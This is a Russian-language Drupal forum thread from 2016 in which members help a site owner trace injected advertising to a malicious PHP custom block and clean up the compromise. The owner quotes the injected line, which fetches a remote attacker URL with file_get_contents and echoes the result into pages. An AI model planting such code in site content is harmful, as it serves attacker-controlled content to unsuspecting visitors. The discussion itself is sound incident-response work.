Вирус на сайте. Нужно определить модуль, загружающий вредоносный код.

Главные вкладки

Аватар пользователя useronforum useronforum 20 июня 2016 в 18:30
1

Здравствуйте.

На сайте с Drupal 7 присутствует вредоносный код, который загружает текстовую рекламу с другого сайта.

Реклама загружается всегда через код с сайта nikicsgo.ru

Реклама показывается не постоянно и не всем.
Я её могу обнаружить, когда сервер, откуда загружается реклама, не доступен как сейчас.
Тогда при загрузке каждой страницы выдаётся блок с сообщением:

«Warning: file_get_contents(http://nikicsgo.ru/app.php) [function.file-get-contents]:
failed to open stream: HTTP request failed!
в функции eval() (строка 1 в файле /home/<Мой сайт>/public_html/modules/php/php.module(80) :
eval()'d code).»

Также обнаружил, что такой код есть на многих сайтах.
Например: http://mibi.rudn.ru/

Сообщение об ошибке у меня выводится точно такое.

Как определить, какой модуль загружает вредоносный код с рекламой, чтобы его удалить?

Можно ли определить какой модуль генерирует это сообщение об ошибке?

Комментарии

Аватар пользователя useronforum useronforum 20 июня 2016 в 20:26

Если причина возможно в одной из строк вида:
<?php print render($...); ?>

то как определить в какой именно?
Таких строк много.

Аватар пользователя jsv jsv 21 июня 2016 в 8:56

копаться в коде надо конкретно и знать его, наймите профессионала. Хотя вон выше директор вам написал возможную причину

Аватар пользователя gun_dose gun_dose 21 июня 2016 в 11:57

Копаться в коде модулей нет никакого смысла. Правильно будет удалить все папки ядра и перезалить из заново и точно так же поступить с модулями. Не обновлять их, а именно перезалить после удаления. Таким образом удалятся все левые вредоносные файлы, а родные заражённые заменятся нормальными. Только после этого можно пробежаться глазами по всем файлам темы и кастомных модулей в поисках вредоносного кода.

Аватар пользователя jsv jsv 21 июня 2016 в 11:58

Ага, и нихрена может не выйти, если вирус в базе в виде кода сидит, что тут и похоже, судя по симптомам.

Аватар пользователя Orion76 Orion76 21 июня 2016 в 12:17

В файле /home/<Мой сайт>/public_html/modules/php/php.module

перед ob_start(); (строка 78)
вставте этот код:

drupal_set_message($code);

и откройте страницу, на которой возникает эта ошибка..
На ней должно быть сообщение Drupal с php кодом..
Выложите этот код здесь.

Аватар пользователя Orion76 Orion76 22 июня 2016 в 20:10

В phpmyadmin (инстумент для работы с базой данных, обычно предоставляется хостингом) есть функция поиска слов по базе данных.
Ищите слово "nikicsgo.ru"
только сразу ничего не удаляйте..
Главное выяснить в каких таблицах и в каких полях встречается это слово(скорее всего там весь, приведенный Вами код)..

Проверьте пользователей с ролью "выше" "авторизированный"..
Не появилось ли лишних?

Отключите от греха подальше модуль PHP filter.
Если он как-то используется, ищите возможность обойтись без него.
Это он запускает тот "зловредный" код.

Аватар пользователя useronforum useronforum 22 июня 2016 в 20:48

Отключил модуль PHP filter (хотя в правах и так указано было, что доступа к нему никому нет).

Блок рекламный пропал!
На его месте теперь отображается только один символ "*".

Страницы стали раз в 10 быстрее загружаться!

Теперь нужно восстанавливать данные для входа в phpmyadmin хостинга.

===
Для чего нужно искать код в базе данных? Чтобы заменить на безобидный?
Не главное ли найти откуда он вызывается?

Аватар пользователя Studio VIZA Studio VIZA 22 июня 2016 в 20:54

useronforum wrote:

Отключил модуль PHP filter (хотя в правах и так указано было, что доступа к нему никому нет).
Блок рекламный пропал!

я ждал этого.

Аватар пользователя gun_dose gun_dose 22 июня 2016 в 21:17

Посмотрите ещё, что написано в сообщении, выводимом если поставить сайт в режим разработки и обязательно обратите внимание, скроллится ли окошко сообщения. Я так на одном сайте там увидел проклятия в адрес Эрдогана и клип Тупака)))

Аватар пользователя useronforum useronforum 22 июня 2016 в 21:29

gun_dose wrote:

Посмотрите ещё, что написано в сообщении, выводимом если поставить сайт в режим разработки

Только одно правильное сообщение выводится.

Аватар пользователя useronforum useronforum 23 июня 2016 в 7:33

Orion76 wrote:

В phpmyadmin (инстумент для работы с базой данных, обычно предоставляется хостингом) есть функция поиска слов по базе данных.

Ищите слово "nikicsgo.ru"

Как искать сразу по всем таблицам базы данных?
А то таблиц много.

Аватар пользователя Orion76 Orion76 23 июня 2016 в 7:34

useronforum wrote:

Для чего нужно искать код в базе данных? Чтобы заменить на безобидный?

Не главное ли найти откуда он вызывается?

Это поможет определить, откуда он вызывается.
Можно конечно "перелопатить" весь контент и админку сайта в его поиске.
А можно за 5 сек поиском по базе найти это место.

useronforum wrote:

Отключил модуль PHP filter (хотя в правах и так указано было, что доступа к нему никому нет).

Поменяйте пароль для "главного" админа.
И все остальные пароли доступа к серверу:
БД
FTP
SSH(если в корне учетки на сервере есть папка .ssh, в ней может быть чужой ключ для доступа к серверу)

Аватар пользователя useronforum useronforum 23 июня 2016 в 7:38

1) Как в PHPMyAdmin искать сразу по всем таблицам базы данных?
А то таблиц много.

2) В корне есть папка ".ssh" с 6 файлами.
Что в них можно поискать?

Аватар пользователя useronforum useronforum 23 июня 2016 в 7:46

Orion76 wrote:

В phpmyadmin (инстумент для работы с базой данных, обычно предоставляется хостингом) есть функция поиска слов по базе данных.

Ищите слово "nikicsgo.ru"

Нашёл 1 строку в 1 таблице содержащую
<?php $html = file_get_contents("http://nikicsgo.ru/app.php"); echo $html;?>

и 355 соответствий в таблице u3b1watchdog
Судя по содержанию это лог ошибок загрузки этой ссылки.

На какую безобидную строку можно заменить
<?php $html = file_get_contents("http://nikicsgo.ru/app.php"); echo $html;?>

Аватар пользователя Orion76 Orion76 23 июня 2016 в 7:52

useronforum wrote:

Как искать сразу по всем таблицам базы данных?

В phpmyadmin в меню слева кликните мышкой на нужной базе данных.
Должна открыться страница с таблицей-списком таблиц БД.
Вверху страницы есть вкладка "Поиск", перейдите на нее.
В первое поле вводите искомое слово.
слева от списка таблиц щелкаете на ссылке "Выбрать все"
Жмете на кнопку поиска.

Откроется таблица-список таблиц БД.
В правом столбце напротив некоторых таблиц будет указано кол-во "найденного" и ссылка на просмотр записи таблицы, в которой найдено поисковое слово.

Аватар пользователя Orion76 Orion76 23 июня 2016 в 8:01

useronforum wrote:

2) В корне есть папка ".ssh" с 6 файлами.

В файле authorized_keys публичные ключи пользователей, которые могут ходить на сайт по ssh.
Сохраните его на локальный комп на всякий пожарный.
У всех "легитимных" пользователей, которым необходим доступ к серверу по SSH, запросите публичные ключи.
Сравните их с ключами в этом файле(1 строка - 1 ключ)
строки с "лишними" ключами удалите

Аватар пользователя useronforum useronforum 23 июня 2016 в 8:15

Orion76 wrote:

useronforum написал:

Нашёл 1 строку в 1 таблице содержащую

Как называется эта таблица и поле в котором этот код?


1 соответствие в таблице u3b1block_custom поле body

SELECT *
FROM `u3b1block_custom`
WHERE `body` LIKE '%nikicsgo.ru%'
LIMIT 0 , 30

Orion76 wrote:

useronforum написал:

2) В корне есть папка ".ssh" с 6 файлами.

В файле authorized_keys публичные ключи пользователей, которые могут ходить на сайт по ssh.

Сохраните его на локальный комп на всякий пожарный.

У всех "легитимных" пользователей, которым необходим доступ к серверу по SSH, запросите публичные ключи.

Сравните их с ключами в этом файле(1 строка - 1 ключ)

строки с "лишними" ключами удалите


2 абсолютно одинаковых файла ключа только (authorized_keys и authorized_keys2).
email в них правильный

Аватар пользователя Orion76 Orion76 23 июня 2016 в 8:15

useronforum wrote:

1 соответствие в таблице u3b1block_custom поле body

Код в кастомном блоке.
скопируйте из поля bid этой записи находящееся в нем значение и вставте его в ссылку ниже вместо [ЗНАЧЕНИЕ ПОЛЯ bid]
и замените ДОМЕН_САЙТА на Ваш домен.

Это будет сслка на форму редактирования нужного блока.
Если он не нужен - удаляйте его.
Если нужен - аккуратно удалите из поля body "зловредный" код.

ссылка редактирования блока:
ДОМЕН_САЙТА/admin/structure/block/manage/block/[ЗНАЧЕНИЕ ПОЛЯ bid]/configure

Аватар пользователя Orion76 Orion76 23 июня 2016 в 8:21

useronforum wrote:

2 абсолютно одинаковых файла ключа только (authorized_keys и authorized_keys2).

email в них правильный

сравнивать надо именно ключ - "набор" букв-цифр. в обоих файлах.
Главное, чтоб там небыло "лишних" ключей.
Ключей может быть несколько : 1 ключ - 1 строка
Возможно там и нет ключа злоумышленника , но убедиться в этом надо.

Аватар пользователя useronforum useronforum 23 июня 2016 в 8:34

Судя по содержанию таблицы u3b1block_custom в ней хранятся блоки.
В поле info имя блока.
Нашёл этот блок. Тип содержимого блока PHP.
Содержимое блока отключено, так как у меня нет прав на редактирование.
Наверно из-за того, что я отключил права PHP filter всем.

Блок этот нужно удалить.

Но прежде хотелось бы узнать когда и каким пользователем этот блок был создан.
Как бы это сделать?!

Аватар пользователя useronforum useronforum 23 июня 2016 в 8:42

Orion76 wrote:

2 абсолютно одинаковых файла ключа только (authorized_keys и authorized_keys2).


email в них правильный

сравнивать надо именно ключ - "набор" букв-цифр. в обоих файлах.

Главное, чтоб там небыло "лишних" ключей.

Ключей может быть несколько : 1 ключ - 1 строка


Файлы идентичны, MD5 совпадает
В файле 2 ключа для одного email
ssh-rsa
ssh-dss

Права на файлы 0644, всем чтение, только владельцу и запись.

Аватар пользователя useronforum useronforum 23 июня 2016 в 16:12

Пользователи со случайными именами за последние 2 года создавались сами еженедельно.
(За последние месяцы не создавались).

Но когда я смотрел их список, то они всегда были без прав администратора и заблокированы.
Может вредоносный код создавал запись Администратора, делал действия,
снимал права Администратора и блокировал себя?!

На сайте формы регистрации нет. И администратор в общем один у сайта.

Заблокировал даже прошлого администратора, так как он показывается,
что заходил на сайт неделю назад, хотя он не заходит скорее всего.
Может в браузере оставил у себя не закрытую сессию?!

===
Когда я удаляю пользователей, то выбираю пункт:
Удалить аккаунт и присвоить все его материалы учётной записи Гость.

Как просмотреть все материалы учётной записи Гость?